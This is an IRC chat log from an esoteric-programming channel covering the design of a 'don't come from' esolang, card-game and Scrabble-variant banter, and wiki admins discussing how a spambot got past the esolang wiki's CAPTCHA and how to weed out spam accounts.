04:40:35 <elliott> *Main> System.Random.newStdGen >>= (Control.Monad.Random.runRandT (Control.Monad.State.runStateT (Control.Monad.Reader.runReaderT run test) M.empty) $)
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04:42:26 <kallisti> well, according to the source, RandT is just a newtype of StateT
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04:44:28 <elliott> kallisti: What's the difference between anything and \mathbb{N}?
04:44:48 <kallisti> notice I didn't say anything about it being useless as a result.
04:45:12 <kallisti> I was curious as to what the implementation difference was, I found that the answer was "not very much", and commented on it.
04:48:11 <zzo38> Do you think you are going to lose if you have PROFESSOR OAK card?
04:49:08 <elliott> 10 don't come from 10 and don't come from 21+c and getchar c
04:49:08 <elliott> 20 don't come from 11+c and don't come from 20 and putchar c
04:49:28 <zzo38> Sometimes my opponent's resistance to my attacks is actually to my advantage
04:49:45 <zzo38> And it isn't really rare either
04:50:04 <elliott> Come on, guys, this is literally the perfect paradigm.
04:50:19 <elliott> Wait, it's slightly broken.
04:50:30 <elliott> 10 don't come from 10 and don't come from 21+c and getchar c
04:50:30 <elliott> 20 don't come from 11+(c%2) and don't come from 20 and putchar c
04:51:26 <elliott> % almost makes loops TOO EASY.
04:51:45 <zzo38> They don't have enough energy to attack, they won't get knocked out, they have not enough energy to retreat either, and they are also confused.
04:51:58 <elliott> I bet zzo38 likes my language. :(
04:52:29 <zzo38> How much do you want to bet?
04:52:54 <zzo38> I do not have that much money do you have a lot of money?
04:53:55 <elliott> Friendship: BTW, sorry for omitting the fact that ℒ is defined as P restricted to just the program L from [[ℒ]].
04:53:56 <zzo38> Can you bet against someone who does have a lots of money?
04:53:59 <elliott> Not quite sure how I managed that.
04:54:03 <shachaf> elliott might even have... An awful lot of money.
04:54:12 <shachaf> Which is enough for a big diamond, you know.
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04:56:16 <elliott> shachaf: Do *you* like my language?
04:56:47 <shachaf> I think you should mind your language, young man.
04:57:05 <elliott> Do you ever say anything interesting?
04:57:18 <Friendship> elliott: *defined as L restricted to ust the program P
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04:57:28 * shachaf hasn't been reading the logs.
04:57:36 <shachaf> Wait, an esoteric language in #esoteric?
04:57:49 <elliott> 10 don't come from 10 and don't come from 20 and don't come from 30 and don't come from 200 and set n to 100
04:57:49 <elliott> 20 don't come from 30 and set n to n-1
04:57:49 <elliott> 30 don't come from 10 and don't come from 20 and don't come from 30 and don't come from 200-n and exit
04:57:50 <elliott> 200 don't come from 10 and don't come from 30 and print n
04:57:54 <shachaf> Go to, like, some other channel for that, man.
04:57:57 <elliott> This program prints 99, 98, ..., 0 and then stops. I think.
04:57:58 <shachaf> No, I don't like your language.
04:58:25 <shachaf> Needs more indirect comefrom.
04:59:10 <zzo38> My opponent is idiotic they keep playing bench pokemon cards but in fact their bench pokemon cards keep getting knocked out due to their resistance to my cards. But even if they didn't do that, they would still lose due to running out of cards in their draw pile because they have card "advantage"... ya, right... what kind of "advantage" is that???
05:00:01 <coppro_> zzo38: Are you confused about the notion of card advantage or quoting?
05:00:26 -!- coppro_ has changed nick to coppro.
05:00:28 <zzo38> coppro_: I am not confused. It is my opponent who is confused
05:00:35 <shachaf> elliott: Why doesn't 200 come from 200?
05:00:48 <zzo38> I told you already
05:00:52 <coppro> zzo38: card advantage is a significant advantage
05:00:57 <elliott> shachaf: Because it shouldn't jump straight from 200 to 200.
05:01:02 <elliott> It should go to 20 (to decrement) first.
05:01:17 <zzo38> coppro: Only if the cards can get them out of the bad situation in time.....
05:03:50 <elliott> coppro: What kind of "advantage" is that?
05:04:37 <coppro> zzo38: In specific moments it may not be the ideal play to go for more cards
05:04:44 <coppro> but in the long term, the player with more cards wins most TCGs
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05:05:56 <coppro> and most games end before anyone gets decked
05:07:24 <zzo38> I usually win a quarter of the time due to opponent getting decked because my defense is strong enough (often my opponent's resistance to me and stuff like that is what is to my advantage, not theirs)
05:12:44 <zzo38> If you think that resistance is good thing to have then you are also confused
05:13:31 <kallisti> zzo38: you should use your Secret Strategy and use it to win pro games.
05:13:52 <zzo38> kallisti: It isn't secret I told you what it is.
05:14:04 <kallisti> you could capitalize off of that.
05:14:21 <zzo38> I suppose the pros must know too, isn't it?
05:15:35 <kallisti> coppro just threw some fancy strategy-related terminology and you demonstrated how it's meaningless. maybe the pros are just stuck in a broken vocabulary.
05:16:03 <coppro> I judge Magic tournaments
05:16:08 <elliott> It's OK: coppro is just confused.
05:16:23 <zzo38> coppro: OK; well, I was talking about Pokemon card it is a different game. Specifically, Pokemon card old-style.
05:16:32 <elliott> coppro: STICK TO YOUR OWN GAME.
05:16:32 <kallisti> I know in SC2 strategy it's very common that a strategy "just works" because it beats the common trend in that matchup.
05:16:49 <elliott> 10 don't come from 10 and don't come from 20 and don't come from 30 and don't come from 200 and set n to 100
05:16:49 <elliott> 20 don't come from 30 and set n to n-1
05:16:49 <elliott> 30 don't come from 10 and don't come from 20 and don't come from 30 and don't come from 200-n and exit
05:16:49 <elliott> 200 don't come from 10 and don't come from 30 and print n
05:16:49 <elliott> (10) [10, 20, 30, 200] n = 100
05:16:53 <elliott> (30) [10, 20, 30, 200-n] exit
05:16:57 <elliott> shachaf: The former is, like, the better syntax, right?
05:17:26 <kallisti> well, most of those strategies are reliable in their own right, but they're especially effective because they beat the common strategy of the month, or whatever.
05:17:33 <shachaf> I don't believe there could be a good syntax for this language.
05:17:51 <elliott> shachaf: You're just jealous because you haven't invented your own esolang.
05:18:13 <kallisti> elliott: that's definitely shorter, which is better for an esolang IMO.
05:19:08 <zzo38> kallisti: What does SC2 strategy mean?
05:19:21 <shachaf> The definition went something like s/blah/>/ s/bluh/</ and so on.
05:19:28 <shachaf> I did it just to annoy you, or someone in this channel.
05:19:36 <elliott> kallisti: Shorter is not better for esolangs. That's terrible.
05:19:48 <shachaf> elliott: Yes, OK, I'm just jealous.
05:19:49 <kallisti> elliott: s/shorter/more concise/ there is that better?
05:20:25 <kallisti> elliott: all of the english word bloat is just obfuscating the computational model blah blah
05:21:02 <kallisti> give me a reason I shouldn't moderately improve the semantics of Dupdog, and then name the result "Dupdog"
05:21:20 <elliott> Because you'd "improve" it by making it trivially TC and also you're dumb.
05:21:29 <kallisti> I plan to name that language something else.
05:22:07 <elliott> Call the result Dupdog++ or something.
05:22:37 <elliott> Hey shachaf, how should I handle EOF on numeric input?
05:22:50 <kallisti> implementation defined. problem solved.
05:23:04 <shachaf> elliott: Undefined behavior.
05:23:27 <shachaf> Implementation-defined behavior.
05:23:32 <shachaf> Wait, are we still talking about your language?
05:25:49 <shachaf> Define EOF to launch missiles.
05:26:42 <shachaf> Why does eliot hate me. :-(
05:26:47 <zzo38> Have you ever read about Washizu Mahjong? The reason Washizu lost is because he made up a rule that only he is allowed to decide whether to continue or to stop after every 2 hanchan. Akagi did multiply all money/blood lost by ten which is why Washizu was allowed to make up that rule. Both rules combined is what make such things happens
05:29:25 <kallisti> elliott: just have the program terminate if it attempts to read numeric input on EOF.
05:30:30 <elliott> That's horrible. That makes numeric input unusable. :(
05:31:09 <elliott> Because you can't handle EOF.
05:31:50 <elliott> That makes inputting -1 impossible.
05:32:26 <shachaf> <elliott> That makes inputting -2 impossible.
05:33:29 <kallisti> also what's the name of this language so I read about it.
05:33:59 <kallisti> just make an esoteric exception system
05:34:06 <kallisti> I recommend the one that I and, I think ais, came up with
05:34:18 <kallisti> that has a "lower" in addition to a "raise"
05:34:49 <zzo38> And what does the "lower" mean?
05:35:07 <kallisti> (throw/unthrow works as well, as far as naming)
05:35:27 <kallisti> lower would signal the exception down a stack level, or terminate the program if it's at the lowest point already.
05:35:37 <kallisti> raise is your typical exception throw, which travels upward.
05:35:57 <elliott> I think you have your directions reversed.
05:36:04 <elliott> But running code is always at the (top|bottom)most element of the stack.
05:36:07 <elliott> So I don't see how that would work.
05:36:20 <kallisti> well, that would have to not be the case.
05:36:40 <elliott> Oh, so unthrow would work in a catch block only?
05:36:54 <kallisti> yeah that's the simplest way I see it working..
05:37:05 <kallisti> there's possibly other ways to do it that I haven't considered, of course.
05:37:11 <elliott> CL's conditions can do that.
05:37:23 <elliott> i.e. you can raise a condition in the code that raised one, inside a handler thing.
05:38:26 <kallisti> also in terms of raise/lower mismatch. I'm sorry that I was once a heavy Python user.
05:39:38 <kallisti> but yeah esoteric exception system
05:40:33 <kallisti> otherwise a) terminate b) use some special value c) implementation defined
05:41:31 <elliott> (c) i'm writing the impl right now
05:41:48 <kallisti> then yeah, since those four options are the DOMAIN OF ALL POSSIBILITY
05:42:01 <kallisti> that means you have to make an esoteric exception system.
05:43:22 <elliott> I'm considering just removing numeric IO support.
05:43:47 <elliott> But since there's no way to abstract anything since every change affects the whole program, decimal conversion would be... "fun".
05:44:28 <elliott> Other than that, I'll probably go with (a).
05:52:50 <elliott> nexts :: Integer -> Program -> Exec [(Integer, Command)]
05:52:51 <elliott> nexts i = fmap (`appEndo` []) . execWriterT . mapM_ consider . M.toList
05:52:51 <elliott> consider (j, Line es c) = do
05:52:51 <elliott> ok <- lift $ noneEqual i es
05:52:51 <elliott> when ok . tell . Endo $ ((j, c) :)
05:52:55 <elliott> This would be elegant, were it not so slow.
05:55:07 -!- Tiktalik has changed nick to Captain_Obvious.
05:55:13 -!- Captain_Obvious has changed nick to Tiktalik.
06:12:04 <zzo38> What if you use indexed writer monad, in case you can use morphisms that are not endomorphisms?
06:27:30 <Sgeo> elliott, I assume you keep up with /r/haskell
06:27:38 <Sgeo> Note the separation of conduits from resourcet
06:39:29 <elliott> I do keep up with /r/haskell, yes.
06:39:54 <elliott> @hoogle m a -> k -> Map k a -> m a
06:39:54 <lambdabot> Data.Map findWithDefault :: Ord k => a -> k -> Map k a -> a
06:39:54 <lambdabot> Data.Graph.Inductive.Query.BFS lesp :: Graph gr => Node -> Node -> gr a b -> LPath b
06:39:54 <lambdabot> Data.Graph.Inductive.Query.BFS esp :: Graph gr => Node -> Node -> gr a b -> Path
07:37:10 <olsner> ah, I see some good ideas came about during the night... don't come from :)
07:37:45 <olsner> elliott: have you implemented that yet?
07:37:57 <elliott> olsner: i have a haskell implementation, yes, though one without a parser
07:42:03 <elliott> lineno don't come from X and don't come from Y and ... and (set VAR to EXPR | getint VAR | getchar VAR | putstr "literal string" | putint EXPR | putchar EXPR)
07:42:08 <elliott> except you can also leave out the command on the end
07:42:20 <elliott> and expr is const/var/negate/add/sub/mul/div/mod
07:42:28 <elliott> dunno whether it needs anything more for the turingosity
07:43:03 <olsner> sounds like it has too little state, unless the variables are arbitrary-precision
07:43:41 <elliott> though, yes, you might need "infinite lines" to do BF or such because of that
07:43:42 <lambdabot> 999999999999999999999999999999999999999
07:43:44 <elliott> however modulo is very helpful there
07:44:41 <elliott> olsner: so how much do you know about rsync :P
07:45:19 <elliott> excellent, how decent is the daemon stuff
07:45:31 <olsner> no idea, I've only used it over ssh
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07:53:17 <elliott> fizzie: Thanks; WHAT DO YOU KNOW ABOUT SRYNC
07:53:43 <fizzie> Isn't it some kinda band? Wait, no, that was 'N Sync.
07:54:32 <fizzie> I know it does deltas.
07:55:08 <elliott> Like, be more helpful, 'n shit.
07:55:16 <fizzie> (That's not even a Greek Δ, it was the mathematical-operator ∆.)
07:55:29 <fizzie> I'm not sure what you want to know about it.
07:57:29 <elliott> Like, the daemon, and shit.
07:59:58 <fizzie> 'vn't used it; I've just done the pass-over-ssh one. (Though I guess technically it runs the same code, it just spawns the remote side over ssh instead of having a DEMONIC.)
08:02:04 <fizzie> Oh, I see you interromagated others, like, just before. (Also haven't done any zsyncing.)
08:03:34 -!- ChanServ has set channel mode: +o fizzie.
08:03:36 -!- fizzie has kicked fizzie We don't tolerate unhelpful people around these parts..
08:03:36 -!- fizzie has joined.
08:04:05 <elliott> Have you considered that you may be feeding my narcissistic God complex?
08:04:47 <fizzie> I don't generally "consider".
08:05:03 <fizzie> Hmm. I didn't think it'd autojoin. I'm not supposed to have anything like that on. Though maybe it's the bouncer.
08:05:15 <fizzie> "autojoin_on_kick (default: true): If set to false bip will not attempt to re-join a channel from which you were kicked."
08:05:19 <fizzie> What sort of foolishness.
08:05:43 <fizzie> I know channels where you get autobanned for autojoining after an (auto)kick. (Okay, the last one is not typically auto.)
08:06:27 <elliott> It should be. Can you set up a bot to automatically kick people?
08:06:28 <ion> ಠ_ಠ What client defaults that to true?
08:06:51 <ion> Oh, bip. Missed it.
08:07:01 <ion> Note to self: avoid bip
08:07:19 <fizzie> It's not exactly a client, but still.
08:07:43 <elliott> It's a bouncbereoubrcaerboaercoaerc bonbon.
08:11:00 <zzo38> If I make document new programming language similar Haskell but half of things difference and other things too, then maybe it can be called "Ibtlfmm"? (O, it is like, "Iuckqlwviv Kjugobe", but completely difference except first letter? Also the letter they seem to just put together... but both of these thing have their ways of making the letters)
08:11:37 <ion> > map pred "Iuckqlwviv Kjugobe"
08:12:33 <zzo38> Both of these thing have their *different* ways of making the letters.
08:14:18 <zzo38> How many Scrabble variants have you played?
08:15:37 <zzo38> How many have you heard of, read about, and/or invented?
08:18:29 <shachaf> elliott: SCRABBLE EXCEPT ALL THE TILES ARE BLANK
08:18:39 <olsner> scrabble is called alfapet over here
08:18:46 <zzo38> I know about Ecology Scrabble, where if there is blank tile on the board, and you have a letter in your rack which can be used in its place, then you can switch it around (and it is still your turn).
08:19:07 <elliott> shachaf: Scrabble where you flip a coin but it's really really big.
08:19:22 <zzo38> I also know a variant where the game is timed using chess clocks. Each player is given 18 minutes per game.
08:19:41 <shachaf> I also know a variant where the game is timed using chess clocks. Each player is given 19 minutes per game.
08:20:22 <zzo38> Is it the same except the time limit?
08:20:58 <shachaf> I also know a variant where the game is timed using chess clocks. Each player is given 40000 minutes per game.
08:21:45 <itidus20> I also know a variant where the game is timed using chess clocks. Each player is given 30 minutes per game.
08:22:17 <elliott> I also know a variant where the game is timed using chess clocks. Each player is given G_64 minutes per game.
08:22:30 <shachaf> I also know a variant where the game is timed using chess clocks. Each player is given -1 minutes per game.
08:22:58 <zzo38> And there is double-bag Scrabble, in which you put all the consonants in one bag and vowels in another, and then when you pick up tiles from the bag you select at first, how many consonants do you want and how many vowels do you want.
08:23:35 <zzo38> Another idea would be double-deck, where there is twice as many of all tiles; possibly you can extend the board by adding an extra row/column at each edge.
08:25:26 <zzo38> The way I prefer to treat blanks is that the letter it corresponds to can change at any time as long as it is the same letter at the beginning of your turn as it is at the end of your turn, and the same letter horizontally as it is vertically.
08:27:10 <ion> Scrabble in 4D!
08:28:34 <ion> I wonder what they’ll call 3D movies when real 3D display technology becomes available, since they call stereo-2D “3D” now? “4D”?
08:29:15 <itidus20> conti-- contingent on it being scrabble
08:29:32 <fizzie> ion: Perhaps 3.5D. (See: 3.5G networks.)
08:29:51 <zzo38> The way I usually play is "challengeless"; you are allowed to view the dictionary at any time whether or not it is your turn, and if you challenge a word there is no penalty; if it is a correct word nothing happens and if it is incorrect the player takes back the tiles and can play again. It can be combined with timed games to make time penalties for such things
08:30:12 <fizzie> ion: There's already a "4D movie theatre" at the Linnanmäki amusement park. (It's got chairs that wiggle and some water-sprayers or whatevers.)
08:30:26 <zzo38> ion: I dislike calling those movies "3D"; I call it "stereovision" instead
08:30:31 <elliott> shachaf: Can you write my declarative debugger for me?
08:30:34 <ion> Three spatial dimensions and one wetness dimension
08:30:48 <fizzie> It doesn't do stereo-2D, though. :p
08:30:53 <itidus20> ................... getting ideas
08:31:05 <elliott> shachaf: Also, have you rsync?
08:31:06 <fizzie> (It's been there long before "3D" movies popularimatized.)
08:31:19 <shachaf> "I declare this program debugged"
08:31:19 <elliott> shachaf: Have you rsync daemon?
08:31:40 <shachaf> What's the rsync question?
08:31:44 <itidus20> scrabble using an alphabet in mathematical sense
08:32:13 <shachaf> Scrabble where the board gets random reärranged on every turn.
08:32:50 <itidus20> what about.. a befunge scrabble
08:33:11 <ion> Scrabble where the tiles have single digits and the words must be base-36 numbers which represent ASCII strings.
08:33:41 <elliott> I repeat: Scrabble where you flip a coin but it's really really big.
08:33:56 <ion> The that’s-what-she-said scrabble?
08:34:37 <shachaf> Scrabble where the only legal move is to describe a Scrabble variation.
08:34:54 <zzo38> itidus20: Yes I have thought of various things like that, not only brainfuck with matching [] but also where pipes must be connected, where numbers are used and you must subtract or multiply or compare them or something, and even an idea where the tiles have one meaning horizontally and another vertically
08:35:46 <itidus20> i think we can safely agree that continuous scrabble is only going to derail the conversation, and thus disregard.. lions tigers and bears
08:37:01 <ion> A scrabble board with a torus topology.
08:37:23 <itidus20> ack.. ive been here long enough that the tropes seem old
08:37:42 <ion> Scrabble in rot-13.
08:38:01 <shachaf> Scrabble where the only letter is Q.
08:38:04 <quintopia> ion: that one has the nice benefit that we already know what tile distribution to use
08:39:08 <zzo38> What about, a Scrabble game where the tiles are marked on both sides, with different letters on each side so that each tile has two purposes
08:39:28 <shachaf> Little known fact: The other side of every scrabble tile is blank.
08:40:07 <quintopia> shachaf: if you know the paddle move, you can win at scrabble every time
08:40:10 <zzo38> shachaf: I know that, but the other side is not usable in the game
08:40:14 <ion> Palindrome scrabble
08:40:50 <zzo38> Some people play by mixing tiles face down, others in a bag. Another way is to use the bag and gloves like Washizu Mahjong does.
08:40:51 <quintopia> (until your friends notice there are five blank tiles on the board...recommend getting them drunk first)
08:41:05 <zzo38> But that is cheating
08:41:25 <quintopia> zzo38: yes, zzo38. Cheating is a scrabble variant
08:41:40 <zzo38> (Unless you make a variant where it is allowed, of course; in which case you can play any tile blank and not earn points for it)
08:41:50 <quintopia> indeed, zzo38, i just used "zzo38" twice in that last post, zzo38
08:44:44 <itidus20> I also know a variant where the game is timed using chess clocks. Each player is given 20 minutes per game.
08:47:03 <zzo38> Is there a way to use TFM ligature/kern programs or combining with something, and will make it Turing complete?
08:58:47 <shachaf> There's also the variant where all the tiles are blank and each one is worth more points than all the others put together.
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09:00:21 <zzo38> Make up some esolang that forms a category, but that it is not Cartesian-closed, that the objects do not correspond to the types, and the morphisms do not correspond to functions
09:00:37 <zzo38> So it is a completely different kind of category than would be used in such as Haskell and so on.
09:13:30 <zzo38> "Catch-22 (logic): A situation where someone is in need of something that can only be had by not being in need of it." I have once made up a computer game like that, where at one point in the game you are offered two water energies, but they say they will only give it to you if you don't need it. (You do need it later in the game.) However, if you say you don't need it they do believe you anyways
09:14:27 <shachaf> That's not how Catch-22 works.
09:15:43 <zzo38> I know, it is not quite like that. I simply copied the description from Wikipedia and then mentioned something I made before, based on what the description reminded me of.
09:16:31 <quintopia> a real catch-22 is the newcomb paradox played by someone with a $1,001,000 debt
09:17:21 <zzo38> O, now I understand!
09:30:48 <zzo38> I have read article about "Chainstore paradox" in Wikipedia; what is the goal? If the goal of each player is to maximize his own score, it seem A should always select COOPERATIVE (since that gives A two points) and therefore everyone else should always select IN (since that gives them two points when A selects COOPERATIVE). I am a bit confused?
09:39:59 <zzo38> As far as I can tell they should not select OUT just because if AGGRESSIVE is selected once in order to deterence, it seem wrong since that prevents earning a score, just once, while it is each one an individual adding to the score you cannot affect the past
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09:56:16 -!- elliott has set topic: So good to be in the Morning....In America! | http://codu.org/logs/_esoteric/ | http://esolangs.org/wiki/ has moved servers!.
09:59:12 <zzo38> In here, is night time
09:59:25 <elliott> That's because you're not in True America.
10:01:14 <ion> “So good to be in the Morning....In America!” doesn’t necessarily imply it *is* morning in America.
10:01:45 <zzo38> No, the reason is because of timezone; whether or not you are in True America is irrelevant.
10:10:46 <monqy> in True America it is always morning
10:10:52 <monqy> this is how I can tell it is morning in True America
10:11:36 <zzo38> I have a map of where the sun rises.
10:15:52 <quintopia> i'll give you a hint everyone: anywhere outside the arctic circle, and most places within it
10:16:19 <zzo38> No, I mean for a given date and time
10:17:22 <elliott> quintopia: not in True America
10:17:26 <elliott> the sun never sets, so it never rises
10:17:41 <elliott> an eagle cries off in the desert, weeping for Freedom; he dwells in False America
10:18:18 <quintopia> elliott: you are a liar and a heretic
10:18:31 <quintopia> the sun is always rising in true america! because it is always morning!
10:19:11 <elliott> a moving sun would be imperfect
10:19:18 <elliott> it's So Good morning because it's always the best
10:19:36 <elliott> NOTE : this america ( C ) president of america
10:20:30 <quintopia> elliott: it is not the sun that moves. it is the hopes and dreams of True Americans that is truly rising!
10:21:51 <elliott> Foul! Cretin! Devil! They cannot rise because they are already at maximum levels of dreaming and hoping!
10:23:01 <monqy> they rise beyond the maximum
10:24:17 <elliott> http://esolangs.org/wiki/Basic_Input/Output_Commander i am not sure what to make of this
10:45:13 <itidus20> i kind of like the insane-ness of BIOC
10:46:20 <itidus20> write vga0:587:172 127 .. writes color 127 to pixel at (587,172)
10:47:55 <itidus20> and.. write con:0 65 66 67 68 .... writes ABCD to the console
10:49:51 <itidus20> if i can understand it, it probably isn't very esoteric
10:50:14 <quintopia> if it could somehow be granted permission to write to any memory location, it could be, in combination with a turing-complete cpu, a turing-complete language, yes?
10:50:16 <monqy> itidus20, the new standard for esoteric
10:50:51 <itidus20> i dont fully understand it though
10:51:44 <monqy> so is it more of an almost esoteric, or a just barely esoteric
10:52:17 <itidus20> like i dont see why vga0 is a word but con:0 is delimeted by the :
10:52:25 <itidus20> but that could just be the way it goes
10:53:05 <monqy> the magic, the mystery
10:53:14 <elliott> (diff | hist) . . N Home insurance; 10:46 . . (+6,544) . . Krishna1 (Talk | contribs | block) (Created page with "Home insurance, also commonly called hazard insurance or homeowner's insurance (often abbreviated in the real estate industry as HOI), is the type of [http://reslife.tamu.edu/...")
10:53:15 <elliott> (User creation log); 10:44 . . Krishna1 (Talk | contribs | block) New user account
10:53:32 <elliott> How did that get past the CAPTCHA?
10:53:38 <elliott> @tell ais523 A spambot just got past the CAPTCHA. help
10:53:49 <monqy> time to beef it up
10:54:12 <itidus20> lets not insult the spammers though...
10:54:31 <monqy> the new captcha is to write an essay about how spammers are dumb and totally suck
10:55:35 <zzo38> I can tell you how; they made a copy of the CAPTCHA for another service in real time
10:55:45 <quintopia> the new captcha is to create an esolang and write the first draft of the spec that you will post on the wiki
10:55:51 <elliott> I suspect they paid someone to fill it out.
10:56:06 <elliott> But, err, solving the CAPTCHA involves clicking a link and reading a paragraph of fairly technical English.
10:56:19 <itidus20> i hope they realize.. this means war
10:56:21 <elliott> quintopia: The existence of CAPTCHA-filling farms is well-known.
10:56:32 <elliott> I doubt any one spambot operator would bother to fill in Esolang's.
10:56:40 <elliott> Anyway, this is troubling.
10:57:00 <elliott> I was banking on the people being paid not being able to click links, read a paragraph of text, go back, and fill in an answer based on information from that link.
10:57:18 <elliott> I'll look into more "behind-the-scenes" techniques before changing the CAPTCHA itself.
10:57:24 <quintopia> does the paragraph change? does the answer change?
10:57:27 <monqy> I get paid to look at car commercials, not read all this paragraph.
10:58:11 <elliott> There are about 5 CAPTCHAs. They're all esoteric programming trivia.
10:58:18 <elliott> They link to articles on the wiki which contain the answers in the first paragraph.
10:58:26 <monqy> new esolang policy all articles are distorted beyond readability
10:58:30 <elliott> The chances of any CAPTCHA farming pawn knowing the answers without clicking the links is 0.
10:58:50 <quintopia> lets replace all esolang articles with spam
10:58:59 <quintopia> and then we can not care about spammer
10:59:01 <itidus20> ok i have an idea.. make the questions really long
10:59:42 <elliott> 124.123.139.13 - - [24/Feb/2012:10:46:56 +0000] "POST /w/index.php?title=Home_insurance&action=submit HTTP/1.1" 302 5 "http://esolangs.org/w/index.php?title=Home_insura
10:59:43 <elliott> nce&action=edit" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.3; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"
10:59:54 <monqy> the new captcha is a turing test vs. itidus20, with itidus21 as the judge
11:00:37 <elliott> Wow, this thing is actually loading the JS and everything.
11:00:45 <zzo38> Maybe it wasn't a spambot; someone entered the spam manually.
11:00:46 <elliott> 124.123.139.13 - - [24/Feb/2012:10:44:59 +0000] "POST /w/index.php?title=Special:UserLogin&action=submitlogin&type=signup&returnto=Main+Page HTTP/1.1" 200 4871 "http://
11:00:46 <elliott> esolangs.org/w/index.php?title=Special:UserLogin&type=signup&returnto=Main+Page" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.3; .NET CLR 2.0.5
11:00:46 <elliott> 0727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"
11:00:51 <elliott> Fuck you so much, POSTer!!!
11:01:04 <elliott> zzo38: A lot of the spambots in the logs seem to have hostnamse with a bunch of ".NET CLR" in them.
11:01:17 <monqy> abuse a msie8 bug to make esolang unusable for the spam farme
11:01:30 <elliott> But it could be some automated thing where people are given an automated IE frame thing loaded to random wikis and have to create an account there.
11:01:36 <itidus20> well what matters is they don't know that at this wiki people literally discuss each spammer and collaborate on how to react
11:02:02 <monqy> in the battle against spam,
11:02:05 <monqy> it's the thought that counts
11:02:28 <elliott> http://reslife.tamu.edu/current/insurance/propertyInsurance.asp
11:02:33 <elliott> this is a link krishna spammed
11:02:58 <quintopia> how about the new CAPTCHA be...visit this channel and convince someone that you are worth giving the CAPTCHA answer to
11:03:26 -!- pikhq_ has joined.
11:03:44 <zzo38> One way, is use other protocols (other than HTTP and SMTP). Or else, use HTTP but use PUT rather than POST
11:03:46 <quintopia> and we don't say in the instructions how to find this channel
11:03:50 <elliott> quintopia: No, I hate that.
11:03:55 <elliott> That's effectively locking people out.
11:04:06 <elliott> Better to think smart than to think obstructive.
11:04:20 -!- pikhq has quit (Ping timeout: 276 seconds).
11:04:45 <quintopia> damn. we could meet so many people that way :P
11:05:10 <monqy> captcha where you write the answer but it's really really big
11:05:15 <itidus20> maybe krishna1 was a systemic anomaly
11:05:43 <elliott> who wants a lot of boring tedious work
11:05:55 <quintopia> itidus20: krishna2 will be a trend
11:06:24 <monqy> I nominate "not monqy" for tedious work
11:06:24 <quintopia> elliott: boring tedious work...like deleting spam accounts?
11:06:36 <monqy> could admin itidus20
11:06:55 <itidus20> but i don't blame you to be afraid
11:07:17 <elliott> quintopia: specifically, filtering spam accounts from non-spam accounts
11:07:19 <quintopia> the "smart" solution would be a bot that classfies wiki articles as spam/not-spam, and flags the spam articles for deletion/userbanning after hiding them
11:07:22 <elliott> http://esolangs.org/w/index.php?title=Special:ListUsers&limit=5000
11:07:41 <elliott> mind you I have some SQL queries that turn up a few hundred of them
11:07:48 <elliott> a few more queries should get even more
11:08:09 <quintopia> as IBM once said: machines should work, people should think
11:08:37 <elliott> maybe i'll just put them all on mechanical turk
11:08:44 <Jafet> If people don't want to think, should machines think for them?
11:09:07 <quintopia> Jafet: the only time people dont want to think is when the thinking is too much work :P
11:09:16 <elliott> quintopia: i was only half-kidding
11:09:33 <elliott> but i think they'd be too conservative
11:09:43 <elliott> "959 buy viagra" or whatever is obviously a spam username
11:10:01 <elliott> but they won't know that e.g. redlinked username = more likely to be a spammer, and integrating viewing deleted contributions and the like would be a huuuge pain
11:10:10 <elliott> so probably easier to use SQL queries to get the bulk of them + manual filtering for the rest
11:10:18 <quintopia> elliott: if you frame the question as "on a scale of 1-10, how likely is this user to be a spambot"
11:10:21 <elliott> we have 4,501 or so users and all but a few hundred at maximum are spammers
11:10:26 <quintopia> then you can set the threshold yourself after the fact
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11:10:39 <elliott> quintopia: the idea that humans can accurately rate things on a 1-10 scale seems nonsense to me.
11:10:52 <elliott> otoh the whole thing would take more time and effort than doing it locally :P
11:11:00 <elliott> do you want a boring, tedious but REALLY WORTHWHILE task?
11:11:08 <quintopia> elliott: it doesnt rely on accuracy if enough people do it. eventually you'll find the good threshold.
11:11:28 <monqy> new users must pass the trials of heart. everyone knows robots and spammers have no hearts, so this will stop them.
11:12:06 <quintopia> trials of heart: name the captain planet character with the power of heart
11:12:43 <monqy> have you passed the trials of heart yet
11:13:15 <itidus20> mati or matee .. i never really saw it spelled out
11:13:17 <elliott> Ngevd: a spambot passed the captcha
11:13:35 <elliott> Ngevd: http://esolangs.org/w/index.php?title=Special:ListUsers&limit=5000 please sort these usernames into three piles: definite spammers, possible spammers, not spammers
11:13:42 <elliott> you can only do the first thousand or so if you must
11:13:50 <elliott> also, any user with a bluelink i.e. existing user page is certainly not spammer
11:14:05 <elliott> any user with no contributions is suspicious (i can confirm by looking at deleted contributions)
11:14:28 <monqy> what about spammers whose userpages didn't get deleted or did they all get deleted
11:14:42 <quintopia> elliott: since most of those users registered while the site was at its old location, probably the spam users wont find the new site. thus, you could clear them all out by simply deleting EVERYONE who hasn't visited the site at its new location. after perhaps sending an email telling everyone that you're gonna do that
11:14:46 <elliott> monqy: There's no spam existing on the wiki.
11:14:49 <elliott> quintopia: "find the new site"?
11:14:55 <elliott> Yeah, it'll be incredibly difficult to go to the EXACT SAME DOMAIN AS BEFORE.
11:15:13 <elliott> They, like, go by geographic location of data centres.
11:15:19 <Ngevd> $username: probably spam
11:15:32 <quintopia> elliott: sorry. was operating on bad info.
11:15:37 <elliott> Anyway, that's a terrible idea, because (a) tracking "visited site at new location" is basically impossible with the logs we have;
11:15:56 <elliott> (b) 90% of the wiki's legit users will be inactive enough that they probably won't see such an email.
11:16:02 <elliott> (c) emails aren't even required
11:16:05 <quintopia> elliott: in any case, deleting all inactive accounts will not annoy too terribly many people :P
11:16:30 <Ngevd> 1079844050: possibly spam?
11:16:31 <elliott> quintopia: I really don't like user-hostile solutions like that.
11:16:43 <elliott> quintopia: The terrorists have won, etc.
11:16:56 <elliott> Ngevd: OK, I wasn't completely serious.
11:16:57 <quintopia> elliott: i'm being absurd because i don't see the point in deleting inactive spam accounts really
11:17:03 <Ngevd> 114 buy levitra: probably spam
11:17:14 <elliott> Ngevd: If you gotta do it, at least do it in a text file :P
11:17:17 <Ngevd> Actually, I'll stop
11:17:19 <elliott> But "buy levitra" is most cetainly spam.
11:17:22 <elliott> quintopia: They're not inactive.
11:17:29 <elliott> quintopia: They keep coming back and creating new pages.
11:17:42 <quintopia> elliott: if they are doing that then we can identify them based on their activity
